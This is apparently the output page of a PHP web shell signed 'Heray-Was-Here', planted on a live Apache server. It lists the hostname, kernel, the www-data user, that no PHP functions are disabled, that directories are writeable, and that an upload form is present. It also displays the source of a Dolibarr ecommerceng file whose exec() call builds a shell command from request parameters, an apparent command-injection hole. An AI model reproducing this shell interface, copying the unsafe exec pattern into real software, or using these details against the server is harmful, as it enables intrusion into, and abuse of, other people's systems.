Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/erp/htdocs/custom/ecommerceng/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/erp/htdocs/custom/ecommerceng/syncmanual.php
<?php

// Change this following line to use the correct relative path (../, ../../, etc)
$res=0;
if (! $res && file_exists("../main.inc.php")) $res=@include '../main.inc.php';			// to work if your module directory is into a subdir of root htdocs directory
if (! $res && file_exists("../../main.inc.php")) $res=@include '../../main.inc.php';		// to work if your module directory is into a subdir of root htdocs directory
if (! $res) die("Include of main fails");

exec('php ' . dol_buildpath('/ecommerceng/scripts/syncronize_to_dolibarr.php', 0) . ' ' . GETPOST('login', 'alphanohtml') . ' ' . GETPOST('site_id', 'int') . ' ' . GETPOST('type', 'alphanohtml') . ' ' . GETPOST('id_from', 'int') . ' ' . GETPOST('id_to', 'int') . ' >> ' . DOL_DATA_ROOT . '/manualsync.log & echo $!;');

$db->close();

Hry